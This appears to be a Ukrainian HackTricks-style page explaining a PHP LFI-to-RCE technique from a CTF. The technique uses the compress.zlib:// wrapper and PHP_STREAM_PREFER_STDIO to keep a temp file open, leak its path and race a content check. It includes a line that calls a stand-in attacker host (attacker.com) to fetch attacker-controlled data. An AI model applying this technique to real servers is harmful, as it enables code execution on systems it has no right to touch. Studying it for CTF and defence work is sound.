3.0 KiB
LFI2RCE Через compress.zlib + PHP_STREAM_PREFER_STDIO + Витік шляху
{{#include ../../banners/hacktricks-training.md}}
compress.zlib://
та PHP_STREAM_PREFER_STDIO
Файл, відкритий за допомогою протоколу compress.zlib://
з прапором PHP_STREAM_PREFER_STDIO
, може продовжувати записувати дані, які надходять до з'єднання пізніше, до того ж файлу.
Це означає, що виклик, такий як:
file_get_contents("compress.zlib://http://attacker.com/file")
Відправить запит на http://attacker.com/file, тоді сервер може відповісти на запит дійсною HTTP-відповіддю, підтримувати з'єднання відкритим і надіслати додаткові дані деякий час потому, які також будуть записані у файл.
Ви можете побачити цю інформацію в цій частині коду php-src у main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Умова гонки для RCE
Цей CTF був вирішений за допомогою попереднього трюку.
Зловмисник змусить сервер жертви відкрити з'єднання для читання файлу з сервера зловмисника за допомогою compress.zlib
протоколу.
Поки це з'єднання існує, зловмисник екстрагує шлях до тимчасового файлу, що був створений (він витікає з сервера).
Поки з'єднання все ще відкрите, зловмисник використає LFI для завантаження тимчасового файлу, яким він керує.
Однак, на веб-сервері є перевірка, яка запобігає завантаженню файлів, що містять <?
. Тому зловмисник зловживає умовою гонки. У з'єднанні, що все ще відкрите, зловмисник надішле PHP корисне навантаження ПІСЛЯ того, як веб-сервер перевірив, чи містить файл заборонені символи, але ДО того, як він завантажить його вміст.
Для отримання додаткової інформації перегляньте опис умови гонки та CTF у https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{{#include ../../banners/hacktricks-training.md}}